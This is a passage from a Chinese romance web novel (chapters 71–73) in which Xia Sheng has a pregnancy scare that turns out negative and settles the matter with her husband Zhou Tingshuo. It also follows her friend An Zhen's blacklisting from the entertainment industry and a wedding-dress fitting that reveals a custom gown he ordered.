但两个人此刻贴得这么近,窝在这张半大的床上,不禁让她想起在锦城的那几夜。 特别是他温热的呼吸,一下下洒在她耳后,难免让她有些心猿意马。 所以,就不能把这床的尺寸升级一下吗! 第二天夏声懒床到近中午才起,大概周庭朔打过招呼,徐姐一直给她热着饭没来叫她。 她睡了十多个小时,竟然一点没有神清气爽的感觉,反而还是昏昏沉沉。 就连一贯好的胃口今天也不给面子,看着一桌饭菜,提不起食欲。 徐姐看出她不太精神,有些担心:“是不是哪不舒服,要不要去医院看看?” “没事,大概时差还没倒过来,可能再过两天就好。” 她只喝了一碗燕窝牛奶,随后洗漱出门。 跟安真她们约了在京商Mall见面,大明星说要去影院看她偶像的新电影,特意买了首映的票请她们。 一碰面,安真就先问她手怎么样。 夏声养了这些日子,右手已经能做些轻微的动作,只不过还是不敢用力。 “好多了,再有两个星期去复查拍个片子看看。” 今天刚好寒流来袭第一天,周仪娇裹紧围巾,看眼安真短裙高筒靴的装扮,吸吸鼻子。 “女明星是不是都不怕冷啊。” “美丽冻人,你不懂吧。”女明星如是说。 安真对于美丽代价从来都是照单全收,确实非常适合做明星。 至少做她的颜值粉丝,永远不会有塌房破防的时候。 进去看电影前,夏声让她们先去取票,自己去买些喝的。 她头还是昏昏的,就到隔壁的咖啡店点了三杯咖啡。 排队等出餐时,听到身后有人叫她名字。 “夏声?” “陈远泽?” 一年未见,两人都有不小的变化,但陈远泽看向她的目光依旧澄澈干净。 “最近还好吗,公司发展怎么样?” “还算顺利。”夏声注意到他身后跟来的女生,眼神询问,“这位是你朋友?” 陈远泽一愣,回头看一眼,又转回来看她,模样有些窘迫。 “啊,是。” 家里父母总是念叨他孤身一人在大城市打拼,没个人作伴。 前些天刚好有个同乡的学妹,毕业也留在京市,家里听说硬要他见一见。 看着面前两人半生不熟的样子,夏声大概猜出故事原委。 刚好她点的单出来了。 “我朋友还在等我,就不打扰你们了,我先走了。”夏声拿上纸袋,笑着跟他告别。 陈远泽默默看着她背影远去,就听身后女生轻声问。 “你喜欢她吧?” 他没有否认,正想就着这个理由,结束今天尴尬的约会。 却没想女孩轻松地笑笑:“我也有个暗恋的人,跟你一样,无疾而终。” “想听听吗,跟你一样心酸的暗恋往事。” 下一秒,陈远泽鬼使神差地点点头。 电影院里,夏声强打精神看着屏幕,一杯咖啡下肚,没让她脑袋清醒,反而胃里也翻腾起来。 偏偏安真偶像演得又是个文艺片,她看到最后基本是神游状态。 三人从电影院出来,安真还非要拉着她们俩聊聊观后感,好在周仪娇还算看得认真,跟她说得有来有回。 转战楼下日料店时,夏声胃里的不适愈加明显。 依然是没什么胃口,她便把菜单给她们俩,自己小口抿着水。 等上餐的功夫,安真八卦精神上来,追着夏声问最近周庭朔有没有异常表现。 夏声转着水杯,想了想:“好像没有……怎么了?” “没有?”安真手摸着下巴,一副捉摸不透的表情,“怎么会没有呢?” 一旁的周仪娇问:“什么我不知道的事,我哥怎么了?” 前一阵安真在巴黎跟夏声拍的合影,被她发到社媒上后,有不少人夸赞夏声气质好。 哪怕她露脸最多的一张照片,也只有不到四分之一的侧脸,还被夕阳镀下的暖光晃得看不清楚,但仍挡不住人们的想象力。 “你不知道,我后台和评论区多少人问你是谁,有没有账号,是不是单身。” 她支着下巴,回想:“我还有意引导,没说你感情情况,所以大家都以为是单身可撩的。” “后来‘安真素人闺蜜’的词条还上了娱乐版块的分区热搜呢。” “看见你这么抢手,他竟然一点反应没有?” 话音刚落,周仪娇无力地撇了撇嘴。 “我哥除了微信,其他娱乐性的社交软件一概没有,他大概率压根就没看见……” 几人对视一眼,想到安真的白费苦心,忍不住笑。 周仪娇煞是遗憾:“早知道你提前把计划告诉我啊,怎么说我也要当我哥面装作不经意把这打开给他看。” “我哥吃醋什么的,我可太想看了。” 夏声可不想看,她侧过身子,让服务员将刚端来的寿喜锅摆好。 菜品陆续上齐,夏声刚动了几筷子,就感觉胃里一阵翻江倒海,她没忍住跑到小包厢配套的卫生间里,将吃进去的东西全都呕了出来。 恶心夹杂着灼烧感,实在太难受,她撑在洗手台前缓了一会。 安真和周仪娇听到动静,纷纷跑进来问她怎么了。 又接了杯温水给她漱口。 夏声刚将那股恶心劲压下去,抬眼看镜子时发现安真盯着她脸色都有点变了。 她喃喃问道:“你不会……” “什么?” “不会有了吧?” 70-80 第71章 第71章道歉的方式 意外总像一只无孔不入的钉枪,冷不防地弹出子弹,却能精准射中要害。 有十几秒钟,夏声木然地坐着,没有任何表情。 安真跟周仪娇彼此默默交换了几个眼神,也都暂时没说话。 直到沸腾的寿喜锅发出咕嘟咕嘟的声音,夏声才转了转眼珠。 “嫂子,你还好吧,要不要我打电话叫我哥来啊?” 夏声微微蹙眉:“别跟他说,先别说。” 她自己也搞不清楚是不是真的怀孕,正犹豫,就听安真提议。 “要不去医院检查一下,你姨妈上次来是什么时候?” 上次…… “已经推迟快一个月了。”她仔细回想,又找补着,“但我这个一直不太准,大部分都会延后,四十多天或者两个月一次,都有过。” “别想了,去医院验验安心,我们陪你。” 夏声回神摇头:“今天这个时间去估计拿不到结果,明天我自己去就好。” 两人只好点头,又怕她真的怀孕,不能吃生食,所以生鱼片和寿司都撤了,重新给她点了热拉面,但夏声根本吃不下,匆匆结束聚会,就独自回去了。 今天是周六,周庭朔加班回来的并不晚,刚一进门就发现徐姐一脸凝重地冲他使眼色。 “太太今天回来后心情好像不怎么好,早上也没怎么吃东西,您要不问问,是不是哪不舒服?” 昨天还好好的。 他默默点头,让徐姐先下班回去。 本以为夏声会在客卧,结果里面并没有人。 他回到主卧,推开门,里面窗帘全拉着,只开着床头灯,映出夏声沉默的身影。 她靠坐在床头,被子盖到腹部,眼神失焦落在床尾,就连他靠近都没反应。 周庭朔绕到她旁边:“你怎么了,徐姐说你不舒服?” 纤长的睫毛颤了颤,随后上扬,对上他的眼神,夏声似乎才回神。 她的呼吸突然变得急促起来,咬着下唇眼神凌厉。 “发生什么事了?” 他刚一侧身坐下,夏声的拳头就落在他肩膀上,一下一下明显在撒气。 周庭朔很快反应过来,抓住她的手,让她冷静。 “声声,等等,你用左手打,右手的伤还没好。” 夏声力气一松,咬在牙齿下的唇瓣翻出来,又紧紧抿上。 “先跟我说怎么回事,我好知道自己错哪了。” 她扯开他的手,别过头,一时倒不知道怎么开口。 周庭朔视线默默落在她脸上,发现她耳尖泛起了红,慢慢那红又蔓延到脸颊上。 恰好余光扫到床头柜,一个小盒子吸引了他的注意力。 即时验孕棒,夏声回家路上买的,还未拆封。 不过一瞬,他便明白了怎么回事:“你怀……” “不许说。”夏声立刻抬头喝止他,“不许说!” “都怪你,全都怪你!” 明白问题出在哪的周庭朔立刻应下:“是,怪我。” “你先别急。” 他开始仔细回忆,之前每一次都有做好措施,可唯独在巴黎那次,两人都喝了酒,在浴缸里不管不顾地做了两次。 算算时间,都能合上。 “你先别生气,我们去医院查,准确一些。” 夏声沉着脸:“查完之后呢,怎么办?” 原本她并不想先让周庭朔知道,准备自己验完结果再说。 可转念一想,到医院里,真要查出怀孕了,医生问她要不要,她该怎么回答? 这事总不能自己闷头就做决定,于是她压着心思在这等他表态。 “你想怎么做,我尊重你的意见。”他回。 周庭朔的回答似乎是早就存在大脑里的,几乎未加思索,直接脱口而出。 这反而让夏声觉得可信度不足:“那我要是不想要呢?” 他握住夏声的手,声音放轻:“那我就找最好的医生,尽量减少对你身体的损伤。” “对不起,声声。” “让你突然面对这种事,是我的错,你想怎么出气都行,就是别自己闷着。” 认错态度良好,让她想借题发挥都没机会。 夏声只好暂时作罢,软下腰躺下去,将被子拉到肩膀,别过脸不看他。 “我知道了,你让我一个人想想,今晚你去别的房间睡吧。” 周庭朔起身,帮她掖好被子,轻抚她的发顶。 “好,我就在隔壁,你有事叫我。” 他看似淡定冷静,没有一丝慌乱。 实际上,去了隔壁却几乎一夜未睡。 当然,夏声也睡得并不踏实,迷迷糊糊总是梦到一扇门,门后有个微弱的声音在喊她的名字。 她潜意识觉得,自己有责任看看门后到底是谁,可是她无论如何都打不开。 最后找来一把斧头,刚将门把手砍断,人就醒了。 睁开眼,已经是第二天清晨。 手背压在额头上,细细密密的汗将她的碎发打湿,贴在脸上有些痒。 夏声深吸几口气,转头看向床头柜上的验孕棒,接着起身拿着去了卫生间。 周庭朔在外敲门时,她已经盯着那根隐隐约约的线看得眼睛发花。 她上网查过,早上验是最准的,但这个框里的线为什么看得这么不准确。 像是有,又像没有。 最开始紧张的心跳已经渐渐平复下来,夏声打开卫生间的门,让周庭朔进来。 对方看眼洗手台上放着的东西,便想来拉她的手腕,结果被她侧身躲开。 “你还好吗?”他不着痕迹地收回手。 “不好。”夏声冷着声音,有些恼火,“连一条验孕棒都跟我作对,线要出不出,根本看不出结果。” 她抬手将东西扔进垃圾桶,转身打开水龙头洗手。 周庭朔站在她身后:“我已经联系好医院,一会吃过早饭,我陪你去。” “检查不需要空腹吗?” “不用。”他将毛巾递给她,“我问过了,可以吃饭。” 似乎经过一晚上的冷静,她多少不像昨天那么手足无措。 简单吃过饭,就收拾好自己的证件去了医院。 检查过程并不复杂,医生听过她的自述,开了检查单,抽完血就等看结果。 检验需要半个小时,再去找医生看结果时,夏声坚持自己进去。 周庭朔静静站在门外,十分耐心的等着,偶尔有人路过,都会对这个站在妇产科门外高大英俊的男人多看两眼。 只是他心里并非像表面那样平静。 客观时间,十分钟,六百秒,却像被无限拉长成没有尽头的悬空索道,他独自站在那,等一个审判。 直到那扇门打开,夏声沉着嘴角走出来。 他心一沉,立刻上前,声音放得很低:“怎么样,医生怎么说?” 夏声将诊断结果递给他。 ——妊娠试验结果为阴性,提示未怀孕。 几个字,他仔细看了几遍。 夏声一直默默观察,却看不出他到底什么反应。 高兴,还是失望。 同样,周庭朔将报告收好,抬眼看她的时候,也没品出她是什么心情。 按理说,以昨天她的反应来看,应该是如释重负的。 可看她表情寡淡的样子,又不像。 “有没有问医生,那你为什么会肠胃不舒服,呕吐反胃。” 夏声这才想起医生刚刚除了给她开了些调理月经的药,还让她去另一个诊室就诊来着。 “她是妇产科医生,只能排除是不是怀孕。” 两人只好接着找对症的医生,再重复一遍看诊流程。 最后结论,是她内分泌失调,加上有些水土不服,犯了肠胃炎。 等拿完药坐上回家的车,夏声接到了薛宁玉的电话。 “声声啊,你不舒服吗,怎么去医院了?” 闻言,她立刻转头看向周庭朔,见对方默默摇头,将信将疑地回应。 “妈,没什么事,就是有点肠胃炎。” 这边薛宁玉失望地嘀咕着:“肠胃炎啊,那你这几天吃东西可要注意点,肯定是国内国外的跑累得,回去好好休息。” “对了,过两天要给娇娇选订婚宴要穿的礼服和场地,你有时间的话,来帮忙瞧瞧吧。” 夏声应下:“好的妈,您身体不好就我们去订吧,您别操心了。” 挂断电话的薛宁玉立马给自己老姐妹回了消息。 【你看错科室了吧,他们是去看肠胃,可不是什么怀孕。】 害得她白白高兴一顿! 这边刚回家的夏声表情严肃地看着周庭朔。 “我们谈谈。” 他解开衬衫领口的扣子,走到中岛台,倒了杯水推给她。 “好,你想谈什么,我听着。” 两人对坐,福宝在下面仰着头看了会,就跳到中岛台上去,走到中间慢腾腾的趴下。 圆眼睛一会看看夏声,一会看看周庭朔,看起来很像是父母闹别扭,夹在中间左右为难的小朋友。 这场景让夏声嘴边的话又转了个弯。 她舔了舔有些干涸的唇,将水杯端起来,喝了两口。 “昨晚上我想了想,三十岁之前我都不想要小孩。” 话落,她直接一口气将水杯里的水全都喝完。 “嗯,我以为你要说这辈子就不要孩子了,其实昨天我已经查过哪家医院做结扎比较好。” 周庭朔语气淡定,非常坦然地说出这句话。 夏声握着空水杯,小声地表示疑惑:“啊?” “没什么,看来暂时用不上。” 他伸手越过福宝,将她的杯子拿过去,又倒了一杯水递过来。 福宝抬头看着他手臂一来一去,伸出爪子扒拉他。 夏声品了下刚刚他的话,才明白原来昨天一晚,他已经做好准备,只要她说不想要孩子,他就会同意。 一股暖流从心口流向全身,昨天所受的惊喜和积累的不满,就向迎风的蒲公英,扑簌簌消散在空气里。 她将福宝从桌面上抱来,手指挠着它的脑袋,一时没再说话。 周庭朔打探着她的神情:“还有什么其他决定吗?” 作为一向善解人意,肯讲道理的夏声虽然气已经消得差不多,但有人做错事,总要付出点代价。 怀里的福宝舒服地伸出五指开花的爪爪,夏声捏了捏它粉嫩的肉垫:“有,从今天起,我要自己在客卧睡,一个月。” “不行。” 这次,他拒绝得不留余地,仿佛什么核心利益被触碰。 夏声言简意赅:“你们老师当年就教你们做错事道歉只用动动嘴吗?” 周庭朔默默凝视她的眼睛,从她的眼神里读出“以彼之道,还施彼身”的几字要义。 回旋镖总是来得这么快。 “换个别的方式,好不好。” 他凝着眸子,换上一副温柔无害的表情,诚恳地看着她。 这人最会取长致用,连自己的好皮囊都能利用上。 “别的?好啊。”夏声眼看他弯起嘴角,笑笑,“我带着福宝搬到别墅去,你自己住这吧。” 周庭朔:…… 于是当晚,夏声心满意足地住进了客卧,一人躺在松软的被子里,畅快淋漓地享受起独身时间。 然后接到了安真的电话。 那边安静的环境音下,啜泣的声音十分清晰。 “声声,我完了。” 第72章 第72章非要现在秀恩爱?是人吗…… 夏声匆匆忙忙地收拾,弄出的声响惊动了周庭朔。 得知她这么晚要出门,便坚持开车送她。 两人赶到安真住处,就看到她哭花的一张脸,和满地狼藉。 大概没想到周庭朔会一起来,安真抱着夏声哭了一会,才挣扎出来气急败坏地瞪他。 “我还没找你算帐,你最不是人!” “我问你,你那么有钱,买不起套?”她越说越激动,也不顾夏声的阻拦,对着他不停输出,“非要凭一时爽,让我们声声承担这种风险。” “感情伤身体的不是你,真该给你弄医院里剁一刀!” 周庭朔一直站在门边,神色还算镇定,紧绷着下颌线,始终未发一言。 还是夏声听不下去,硬将她拽回来。 “真真,没有怀孕,查过了。” 安真挂着泪的睫毛眨了眨,傻傻问:“没有?原来是虚惊一场,那还好……” 转念想起刚刚脱口而出的话,她也依旧理直气壮,又瞪了周庭朔一眼。 “那我骂你也不冤,事你都做了,只是运气好这次没中而已。” “我才不跟你道歉,你应该跟声声道歉!” 被数落的周庭朔静静站在哪,任由她说,照单全收。 “嗯,我道歉。” 夏声让她冷静点,这才说回正题。 “你到底怎么了,什么就完了?” 刚刚还底气十足的人,瞬间灭了精神,一屁股坐回沙发,仰面倒下。 “事业完了,人生完了。” 这话太严重,夏声敛起表情:“你说清楚点,怎么回事?” 安真眼神直直地盯着天花板,半晌吐出一口气。 她将旁边的手机捞起来,递给夏声。 上面是一份电子文件。 “解约?怎么好好的又解约了?” 文件内容非常苛刻,不仅安真得不到解约费,还需要支付违约损失,跟上次如出一辙。 解约理由那写得冠冕堂皇,可一看都是些没什么实质的官方口径,可以说是欲加之罪。 “不能起诉他们吗,这不是明摆着欺负人?” 安真摆摆手,从沙发上直起身,用力揉了揉红肿的眼睛。 语气里已经是认命:“怎么起诉,我一个顶多三线的艺人,能告得过谁?” “何况娱乐圈里,祁家发话了,就算我真的赢了官司,哪还有未来?” 听到这话,夏声下意识抬眼跟周庭朔对视,随后追问。 “祁家骏?” “不是他。”安真吸了吸鼻子,“是他爸,现在我在圈里基本等于被封杀了。” “原来谈好的工作全都被停,我很快在圈内就会查无此人。” 其实最开始安真没想过那么长远,她开始是凭借祁家骏的人脉入圈,但后来也意识到不能一直背靠他。 所以上次祁家有动作时,她也是顺势解约,脱离了祁家骏的势力,后来纯凭自己摸爬滚打。 她始终记得祁家骏他父亲冷着声音说,如果他们两个再纠缠不清,他会让祁家骏净身出户,就当没有这么个儿子的话。 为了不让祁家骏为难,安真硬生生跟他断了联系。 她知道,他们家里这样看不起她,他们之间没结果。 可她没想到,都做到这份上了,祁家竟然还要赶尽杀绝。 一旁的周庭朔多少知道些内情,淡声开口。 “祁伯父有意要祁家骏跟长羽影业的千金联姻,祁家骏咬死了不同意,大概是因为这事。” 安真单手撑着额头,无声苦笑:“这跟我有什么关系,我早跟他分手了,他们家不知道吗?” 像是为了回应她的问题,门口突然传来急促的敲门声。 一下一下,似乎要把门板砸穿。 祁家骏的声音从门外传来:“安真你开门,我知道你在,你让我见你一面。” 站在离门口最近的周庭朔目光投来,安真却并没有要开门的意思。 她生硬地别过头,两手紧紧捂住耳朵。 但门外人似乎不准备放弃,依旧执着地敲门,且喊得越发声嘶力竭。 虽然她住的地方是一层一户,但这么闹下去,难保楼上楼下不会听见。 安真恼火地站起身,冲着门口喊了一句。 “你走吧,我们没必要再见面。” 听到她的声音,门口静了一瞬,随后更猛烈地开始拍门。 “你出来,我求你出来见我一面。” “你不开门我是不会走的,我总能等到你出门!” 这样任由他胡闹也不是办法,夏声起身拍了拍安真的肩膀。 “我出去跟他说。” 看到门打开,祁家骏眼睛一亮,只是在见到出来的人不是安真时,那亮光又熄灭了。 他整个人看起来有些颓丧,穿着的黑色大衣半挂在肩膀上,头发早已被揉乱,杂乱地支着。 “祁家骏,上次我有没有跟你说过,如果你没有能力保护好安真,就不如放过彼此。” 夏声语气平和,但话却刺痛祁家骏的心。 他退了两步,颓然靠在光洁的大理石墙面上,低头不语。 “她从小就爱表演,喜欢被关注,进娱乐圈可以说是她的梦想。” “我很感激你能带她走了一段,但现在,一切都毁了。” 祁家骏不自然地别过头,半晌闷声闷气地开口:“你让她开门,我跟她说,说完我就走,以后我也不会再来找她。” “你能保证吗?” 他红着眼睛抬头:“能。” 看到跟着夏声进门的祁家骏,安真早已回去的眼泪,又刷地一下落下来。 她随手抓起沙发的抱枕,用力向他身上扔。 一个接一个,他也不躲,直到手边没有东西可扔,她才无力地坐下去,捂着脸呜呜哭起来。 “你还来干什么,我不想见你。” “你滚啊!” 祁家骏红着眼眶走过去,哽咽着声音:“真真,对不起,是我没用。” 他蹲下身,想要抱一抱她,却被她猛地抬头狠狠甩了一巴掌。 “我不需要你的道歉,你给我滚,滚到我永远 也看不到的地方去。” 像是不管不顾,她挑尽难听的话来说,似乎恨他入骨,再也不肯原谅他。 始终远远看着地周庭朔悄悄上前,将夏声拉走。 “让他们单独呆会儿吧。” 夏声并不放心,于是下楼等在车里,想祁家骏走了她再上去陪安真。 车厢内过于安静,半晌她转头突然发问。 “你说为什么我们从来不会像这样吵架?” 虽然夏声以前没谈过恋爱,但她还是看过别人恋爱是什么样的。 不说安真这种闹得轰轰烈烈的,就单论以前寝室的沈习诗,跟男朋友也会时不时吵架。 记得有一次沈习诗气极了,挂断男友的电话就把手机从阳台扔下去,后来还是她们下楼从草丛里给捡回来的。 可是她跟周庭朔从来没有这样气急败坏地吵过架。 这正常吗? 坐在旁边的周庭朔看她又不知想起了什么,抬眼看看楼上还亮着的灯。 “你要是想吵吵架,也行。” “我可能不太擅长,但可以尽量配合。” 闻言,夏声抬头,看他像是认真的,皱着眉说了句:“有病。” 她只是问问为什么,谁会没事想吵架玩。 周庭朔手越过来握住她的手腕,轻轻摩挲。 “你对祁家骏有气,能不能别迁怒于我。” “不能。”她哼了一声,“一丘之貉,你比他好到哪去。” 一遇到安真的事,她总是过分带入,毕竟是她从小到大最好的朋友,她怎么会不心疼。 谁让他是祁家骏的朋友。 再抬头,夏声远远看到从大门口出来的祁家骏,于是抽回手立刻推门下车追过去。 对方垂头丧脑,步子沉得像是要迈不动,走了几米远,就在原地停下。 接着捏紧拳头砸向旁边的石柱子,一下接一下,仿佛不知道疼。 夏声等他挥拳挥累了,才上前。 “回去吧,希望这是最后一次。” 对方低着头:“麻烦你照顾她,谢谢。” 说完这些,他便转身踉跄地走了。 夏声看着他的背影,最终叹口气跟身后的周庭朔开口:“你去看着点他吧,这样我怕他真出什么事。” “别到时候又被祁家赖在真真头上。” 周庭朔知道她今晚大概率要留在这陪安真,本也是这么准备的,于是点头。 “好,明天早上我来接你。” 临走前,他上前一步,低头吻了吻她。 “不要光想着照顾别人,也注意自己的身体。” “知道了。” 夏声牵挂着安真,推了推他让他赶紧走,转头便上楼去了。 看着她背影消失,周庭朔才快步去追那个失魂落魄的人。 好在祁家骏也走得慢,他很快追上,将人拉到自己车上。 过了一会,冷静下来的祁家骏,开口第一句就是:“看了兄弟一晚上笑话了,能陪我喝一杯吗?” 这次周庭朔没有直接拒绝他。 他将人安全送回家,祁家骏一进门便径直走向酒柜,拎出瓶路易十三,十分利落地倒了一杯进肚,白兰地醇烈的酒气呛得他咳嗽起来。 周庭朔将酒瓶接过来,走到冰箱旁取出几块冰放到杯子里,才又倒了半杯递给他。 在祁家骏伸手要接的瞬间,他抬手:“先说好,你要想放弃她,今晚就喝个烂醉。” “如果你不甘心,喝完这杯,就好好听我说。” 停在半空的手转而抓住他的胳膊,祁家骏眼里的光又亮了。 周庭朔将酒递给他,缓缓开口:“只要祁家的产业还在伯父手里,你就没有话语权。” “想要保护自己要保护的人,就要迅速成长起来,在那之前,你要掩藏好一切,包括自己的心。” 有些话,不必说得太明白。 半晌,祁家骏点点头,拿过酒瓶,另倒上一杯递给周庭朔,又迅速跟他碰了杯。 “知道了,谢谢兄弟。” 只不过他干完这杯酒,周庭朔却把酒杯放下了。 “我就不喝了,明天还要去接……” 祁家骏眉毛拧得老高:“你非他妈在刚失恋的人面前秀恩爱是吧,你是人吗?你敢说出口信不信我跟你断了哥们义气。” 见他已经回过魂来,不似刚刚消沉,原本想说要去接夏声的话硬生生改了口。 这恩爱不秀白不秀。 他挑了挑眉:“我明天确实要去接……我老婆。” 第73章 第73章又被她忽视而不满的某人…… 第二天周庭朔来的时候,安真还没起。 夏声将他送来的早餐放进去,拉着人出门。 两人坐上车,周庭朔不知从哪变出一条冰毛巾,递过来。 刚放下副驾梳妆镜的夏声看眼自己红肿的眼睛,默默叹口气,靠回椅背将毛巾敷到眼皮上。 “今天还想去公司呢,这怎么见人。” 周庭朔发动车子,将一个类似眼霜的小圆罐放到扶手箱上:“冷敷十分钟,再把这个凝胶敷上,等你到公司应该就好得差不多了。” 将信将疑的夏声按照他的说法操作,果然下车前再看,眼皮已经消了很多,基本是前一晚喝多水浮肿的程度。 此刻已到她公司楼下,她看眼专心致志停车的人:“你是哆啦A梦吧,怎么什么都有。” 连她今天眼睛需要消肿都想到了。 工作日的早高峰,不方便在路边停太久,夏声刚要低头解安全带,就被他拉住。 转头,就被他凑上来吻了一下,夏声呼吸一滞,就听到他叮嘱:“以后要记得上班前的仪式感。” 她余光迅速扫了眼车窗外,幸好没有熟人。 “什么时候加的仪式感,我怎么不知道。” “刚刚。” 他心情极好地勾起嘴角,顺手帮她打开安全带。 收回视线前,看着她嫣红的唇瓣,甚至还想再吻一次。 只不过夏声已经迅速推开车门,走了。 刚到公司的夏声立刻就被秦莫叫到会议室,Mahel那边本年度的第一个项目准备启动了,先要开个碰头会。 “对了,刚刚是你家周先生送你来的吧,我听韩子弋说了,在巴黎那边他也是寸步不离,你们感情真好。” 秦莫说这句话的语气温温柔柔,带着些羡慕,并不是在开她玩笑。 正在整理文件的夏声想起刚刚那个吻,脸颊不自觉生热,于是低下头辩解一句:“好什么啊,夫妻不都差不多。” 这一次,随着Mahel的项目启动,云声文化的业务终于上了一个台阶。 业内的名声也从默默无闻,到小有名气,订单也随之增多,眼见大家工作量增加,开始有些忙不过来。 于是夏声跟秦莫商量一下,又招了几个人,公司员工也终于从个位数变成两位数。 跟周仪娇约定好去帮她试礼服时,已经过去半个多月,这还是夏声忙里偷闲,硬挤出时间来。 她本以为只有她们俩,结果到店才发现薛宁玉也在。 因为上午一个会开得有些久,夏声到的时候周仪娇已经试过两身,这会儿正在试衣间试第三套。 “嫂子你帮我看看外面那一排,我妈要我全试试,真不如要了我的命!”周仪娇一边说,一边直喘气,“哎呦,这衣服是人穿的吗,勒死我得了。” 薛宁玉正站在不远处,看着展台上一件非常华丽的满钻婚纱,纯白的大裙摆,拖尾上是一朵朵重瓣立体纱花。 “声声你 来,这件婚纱你觉得怎么样?” 最近只要有时间,夏声都要关心下薛宁玉的身体状况,只不过自从他们回国,她的身体好像就没什么问题了。 夏声走到她身边,以旁观的角度评价:“很好看,也适合娇娇。” “不是她,我是说你喜不喜欢,我觉得你穿合适,一会你试试。” 她刚要说不用,那边试衣间的帘子拉开,周仪娇穿着一身香槟色的V领鱼尾裙,手撑着腰,吸着一口气走出来。 “妈,你饶了我吧,就刚刚那条一字肩的就行了,这条我喘气都得匀着来,到时候还怎么吃东西啊。” 薛宁玉拉着夏声走过来,低头看了看她分毫不差被包裹住的腰身,点头。 “你还吃东西,订婚宴是让你去吃饭的啊,这条多好看,留着备选,再试试下一套。” 听到指令的周仪娇两眼一黑,赶紧求助地看向夏声:“嫂子,刚我听到你要试婚纱,你先试。” 她指指自己被勒得快要断掉的腰,眼神里写满了“救救我”。 而一听到周仪娇说这个,薛宁玉马上招来工作人员,将那边的婚纱取下来。 “对,快试试婚纱。” 夏声几乎是稀里糊涂就被推进试衣间。 她站在圆柱形的试衣台上,低头看着繁复华丽的裙摆,无数水钻反射出的光闪得她眼晕。 帮她试穿的小姐姐一个托着婚纱的拖尾,一个将她的长发拨到一侧,开始整理肩上的叠纱。 “这件是前两天刚从国外运回来的,出自PiotnLi之手,果然跟您身形气质完美匹配,不愧是婚纱定制第一人。” 夏声抬眼,透过镜子看向身后的小姐姐:“定制?你说这件婚纱是定制的?” “是呢,前两天运到店里时我们都没看到,直接就单独封存了,还是今天说您要来试了,才拿出来示人的。” 见她一脸不知情的样子,工作人员后知后觉:“看来周先生并没把定制的事告诉您啊。” 似乎怕自己再言多有失,接下来工作人员没再说过话。 但夏声还是忍不住问了:“这婚纱定制是什么时候的事?” 小姐姐如实回答:“PiotnLi的定制至少要提前半年才可以。” 那时候,她刚刚提出要将婚礼推迟,而他却还是定了婚纱。 夏声试好衣服出来时,毫无疑问地收获一众赞叹,周仪娇更是夸张到围着她转了三圈才停下。 “嫂子,答应我,就穿着这套嫁给我好了,我哥他不配。” 不过也就是仗着周庭朔不在,她才会这么毫无顾忌地打趣。 薛宁玉站在一旁,不知怎么了,一直没说话,夏声看过去,发现她眼眶有些红。 她的裙摆太大,只能隔着一段距离问:“妈,你怎么了?” 都说穿上婚纱的女孩是最漂亮的,薛宁玉看着站在一起的夏声和周仪娇,突然有些感慨。 多可惜,夏声的母亲看不到她女儿有多漂亮多优秀。 最近她多少有些多愁善感,毕竟周仪娇也要订婚了,出嫁就在眼前,一想到女儿要离家,又恨不能让她再多呆几年。 将心里那些胡思乱想压下去,薛宁玉笑着点头:“声声这身真合适,到时候再配上那套我在彼得堡拍的天使之心,堪称完美。” 夏声回头,在落地镜里看着自己的身影,默默出神。 等她将婚纱换下来,工作人员还不忘询问是否有需要调整的地方。 都是按照她的身形定制的,夏声挑不出一点不合适的地方。 像是了却一桩心事,薛宁玉将注意力全都放在周仪娇那,又生生让她试了好几条裙子。 中途周仪娇接了个电话,通话语气客气又疏离,只说了两句就挂断。 薛宁玉问:“是小竟吗,他怎么还没到?” 沈余竟,就是周仪娇的订婚对象,夏声只听说过,从未见过人。 周仪娇将手机递给一旁的工作人员,转身去换衣服。 “他临时有事不来了,我自己试就行。” 试礼服的事,原本说好两人一起到场,他无故缺席薛宁玉自然不满,但碍于还在外面,也不好多说。 实际上,这已经不是他第一次让薛宁玉不悦了,沈余竟对周仪娇一直冷冷淡淡,并不十分上心,薛宁玉自然都看在眼里。 但如今周仪娇反而觉得合适,欣然接受,她便不好再质疑,毕竟人是她选的。 最后一件试完,周仪娇已经累得抬不起胳膊,夏声进去帮忙,趁机问她跟那沈余竟什么情况。 “你们就准备这么不生不熟地结婚?” 周仪娇转过身,侧着脸看不清表情:“是啊,和你跟我哥那时候一样,搭伙过日子呗,跟谁不行。” “他挺好的,事业心也强,沈家的产业现在一大半都在他手里,以后他专心挣钱养家,我负责做个会花钱的花瓶老婆,多好。” 语气毫无波澜,陈述着事实,说服别人也是说服自己。 夏声抿了抿唇:“娇娇,事情到这一步,再往前就真的没有回头路了。” 换上自己衣服的周仪娇似乎轻松了一些,转头对她笑:“我撞过南墙了,以后不走回头路。” “我知道苏晋再有几个月就回国,在那之前我会结束在明箴的见习,以后也不会再跟他见面。” 这话晚上夏声去明箴时一一复述给了周庭朔。 彼时他正在办公桌后看文件,金丝框眼镜架在他高挺的鼻梁上,镜片后的眼睛专注地看着电脑屏幕。 “怎么,你觉得她哪说得不对。” 夏声靠在他身后的百叶窗前,一脸深思的表情:“她说他们就像我们一样,不过搭伙过日子,无所谓。” “这哪像要步入人生新阶段的态度。” 闻言,周庭朔转过身来,抬手将她拉到身前,略一用力,夏声便跌坐在他怀里。 想到这还是在办公室,她几乎立刻就要起身,被他含笑的声音叫住。 “放心,都是单向玻璃,外面看不到这里。” 他掌心撑在她腰后,温热而有力,眼尾上抬看着她的眼睛,夏声被他盯得有些不自在,扭了扭身子。 “像我们有什么不好?”他问。 夏声张了张嘴,对上他温柔的目光,分辩的话又淹没在嘴边。 现在这个样子,说他们不好好像是没什么说服力…… 见她不说话,周庭朔故作神秘:“不过有个好消息,可以告诉你。” “什么好消息?” 她顺势挺直腰,两人距离又近了些,夏声发现带着眼镜的周庭朔好像五官变得更柔和了,也可能是她看顺眼,总觉得他跟去年自己第一次见时不太一样。 夏声今天穿了一件落肩针织连衣裙,抱在怀里格外柔软温暖,周庭朔原想放开她去拿手机,想了想还是作罢。 “我刚刚特批了苏晋的长假。”他递过来一个略有深意的眼神,“如果我猜得没错,很快他就会回国。” 作为周仪娇的哥哥,他自然不可能放任妹妹的终身大事不管,但管也要有分寸。 家里不会认可苏晋的家世,哪怕在周庭朔眼中,他沉稳成熟,能力人品皆可,倒算得上是妹夫的好人选。 如今沈余竟对娇娇如何,家里多少也品出些意思,这会再让苏晋回来,他才有竞争的优势和立场。 当然,能不能成,还要看他们两人有没有缘分。 听到这个消息,夏声果断从他怀里站起来,若有所思地在窗前来回踱步,开始盘算距离周仪娇订婚还有多久,他们还剩多少时间。 